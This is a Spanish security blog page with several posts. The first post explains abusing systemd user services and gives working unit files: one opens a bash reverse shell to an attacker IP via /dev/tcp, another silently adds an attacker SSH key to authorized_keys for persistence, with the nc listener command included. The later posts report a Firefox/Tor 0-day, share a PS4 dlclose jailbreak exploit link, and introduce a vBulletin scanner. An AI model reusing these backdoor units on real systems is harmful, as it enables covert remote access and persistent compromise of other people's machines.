Mostrando entradas con la etiqueta vulnerabilidades. Mostrar todas las entradas
Mostrando entradas con la etiqueta vulnerabilidades. Mostrar todas las entradas

jueves, 1 de diciembre de 2016

Abusando de los servicios de usuario de systemd



No sin cierta controversia, la mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

Como muchos ya sabéis, systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar, ya sea un servicio, socket, dispositivo, punto de montaje, etc. 

La forma en la que systemd debe manejar una unidad viene definida en ficheros que por defecto se encuentran en /etc/systemd/system, aunque podrían estar en cualquier otra ubicación como por ejemplo las de usuario que se encuentran normalmente en $HOME/.config/systemd/user o $HOME/.local/share/systemd/user/

Recordemos que systemd ofrece a los usuarios la capacidad de ejecutar una instancia de systemd para gestionar la sesión y los servicios que normalmente se ejecutan como un usuario diferente a root o un usuario especial. Por lo que si cualquier usuario puede interactuar con las unidades ubicadas en sus directorios también cualquiera puede configurar un servicio que se ejecute al inicio del sistema.

Y si ese servicio es... digamos... ¿una shell inversa? Pues como si de una oferta se tratase, tendríamos un 2x1 a explotar: backdoor y persistencia.

Empecemos con el backdoor, tan fácil como usar un dispositivo especial TCP en bash:

[Unit]
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.100.123/31337; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target

Sólo tenemos que copiar el fichero al dir correspondiente e iniciarlo con: $ systemctl --user start voodoo

Si la máquina del atacante está escuchando en el puerto indicado ($ echo "touch /tmp/systemd-test-backdoor" | nc -l 31337) y se tiene acceso desde el equipo de la víctima obtendremos inmediatamente la shell. Bastante sencillo, ¿verdad?

Pues no menos sencillo es conseguir persistencia. Sólo tenemos que activar el servicio con $ systemctl --user enable voodoo y, cada vez que un usuario se valide, systemd lanzará la shell inversa.

Podéis imaginaros que las posibilidades son muchas y variadas. Si queremos por ejemplo backdoorizar el acceso SSH podemos crear un fichero unit como el siguiente (fijaros que al contrario de lo que se hace normalmente ExecStop ejecuta el código y ExecStart lo limpia):

[Unit]
description=Totally not a virus, trust me I'm a dolphin
[Service]
RemainAfterExit=yes
Type=simple
ExecStop=/bin/bash -c 'mkdir -p $HOME/.ssh && touch $HOME/.ssh/authorized_keys; [ "$(grep "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" $HOME/.ssh/authorized_keys)" ] || echo "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" >> $HOME/.ssh/authorized_keys'
ExecStart=/bin/bash -c 'sed -i \'/ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH/d\' $HOME/.ssh/authorized_keys'

[Install]
WantedBy=default.target

Y esto sólo son PoC... un atacante malintencionado iría aún más lejos y podría por ejemplo detectar cualquier usuario interactivo usando inotify en utmp para hacer menos ruido, encadenar archivos de servicio para detectar cuando otro interactúa, abusar de los aspectos en memoria de los archivos de servicio para ocultarse, secuestrar variables de entorno, obtener info en tiempo de ejecución de /proc, etc.

En definitiva, ¿cuándo fue la última vez que ejecutaste systemctl --user? No es que sea muy novedoso, pero es otra técnica a tener en cuenta y otro lugar que los administradores deben vigilar.

Fuentes:
abusing systemd user services 
systemd/User (Español)

miércoles, 30 de noviembre de 2016

Exploit 0-Day para Firefox parchea!



Los delincuentes han estado explotando una vulnerabilidad 0-Day en Firefox para desenmascarar a usuarios del navegador Tor, similar a la que había explotado el FBI durante la investigación de un sitio de pornografía infantil.

El exploit 0-Day se aprovecha de un Javascript diseñado para ejecutar código de forma remota en Windows y a través de un defecto de corrupción de memoria en Firefox.El exploit fue hecho publicó por un administrador en la lista de correo Tor-Talk.

El mensaje revela que el exploit afecta a Firefox y se está utilizando contra los usuarios del navegador Tor Browser, versión re-empaquetada de Mozilla Firefox que permite conexiones a través de la red Tor, para ocultar la dirección IP pública del usuario.

"[El código] consiste en un HTML y un archivo CSS. La funcionalidad exacta se desconoce, pero permite el acceso a VirtualAlloc en kernel32.dll". Esto significa que, cuando se explota con Javascript activado en un equipo Windows, se aprovechar de una vulnerabilidad de corrupción de memoria para hacer llamadas directas a kernel32.dll, lo que permite que el código se ejecute con permisos elevados en Windows.

Los investigadores también encontraron que el exploit realiza conexiones a la IP XXX.39.27.226, un servidor remoto alojado en OVH en Francia. Este servidor ya no está respondiendo en este momento.

Aunque los investigadores aún están analizando el código, un vistazo rápido permite determinar que es muy similar al utilizado por el FBI el año 2013, para tener acceso a sitios de pornografía infantil.

Hasta el momento se cree que la vulnerabilidad afecta desde Firefox 41 hasta la versión actual 50.

Todavía no se sabe quién está detrás del Javascript. Actualiza a Firefox 50.0.2.

Fuente: The Hacker News

lunes, 4 de abril de 2016

Liberan el exploit "dlclose" para correr Linux en la PS4

Hace unos meses en la 32c3 (la CON de CCC en Alemania) el grupoFail0verflow demostró que podía ejecutar Linux en la PS4 y publicó unloader. Eso sí, se reservó el exploit utilizado para evitar posibles represarias o demandas de Sony como la que le hicieron a Geohot por la PS3. 



A partir de ahí se inició una carrera de investigación en la que CTurt parece volver a estar activo y haciendo progresos. Especialmente con una vulnerabilidad de desbordamiento de pila en el kernel en la llamada al sistema con sys_dynlib_prepare_dlclose que como se hizo con el exploit BadIRET fue parcheada, concretamente en el firmware 2.00. Se trata del conocido como exploit dlclose cuyo funcionamiento fue confirmado por el popular bigboss (@psxdev).

Ya a la vuelta de la esquina, hace algo más de una semana, Zer0xFF publicó el código de un exploit dlclose para la versión 1.76 de firmware que sin embargo crasheabacuando el exploit intentaba volver a userland. Sin embargo y sólo hace unos días el chileno Carlos Pizarro alias kR105 lo corrigió incluyendo el escalado de privilegios como root, la evasión del sandbox y el jailbreak. Además para usar Linux en la PS4 sin tener que escribir un loader también pone a disposición de cualquiera el fichero bzImage y initramfs.cpio.gz "...para conseguirte linux con un agradable bash en tu tv".

El código completamente funcional lo tenéis en github y puede compilarse mediante elSDK de CTurf. Tener en cuenta que no se trata de un CFW para poder usar juegos pirateados, pero si una "puerta abierta" para todo aquel que pueda quiera trastear y, aunque este exploit sólo funcionará sólo con firmware 1.76 antiguos (del 20 de agosto de 2014) todavía es posible comprar alguna consola. Si conseguís alguna tenéis dos métodos para usarlo:

dlclose exploit for PS4 fw 1.76https://github.com/kR105/PS4-dlclose

jueves, 4 de febrero de 2016

VBScan un scaner de vulnerabilidades para vBulletin

Mohammad Reza Espargham, profesor de la Universidad de Sharif, tiene un proyecto que se llama : VBScan, un escáner de vulnerabilidades específico para vBulletin, una de las soluciones más populares para foros de comunidades instalada en miles de servidores de todo el mundo.

La herramienta es de código abierto y está escrita en Perl (se agradece con tanto Python) y nos ayudará a verificar que nuestro sitio es seguro o no.

Aquí les dejo unas demos y los enlaces a su proyecto:

Uso:
./vbscan.pl
./vbscan.pl http://target.com/vbulletin
Project Leader : Mohammad Reza Espargham
Github : https://github.com/rezasp/vbscan/
SourceForge : https://sourceforge.net/projects/vbscan/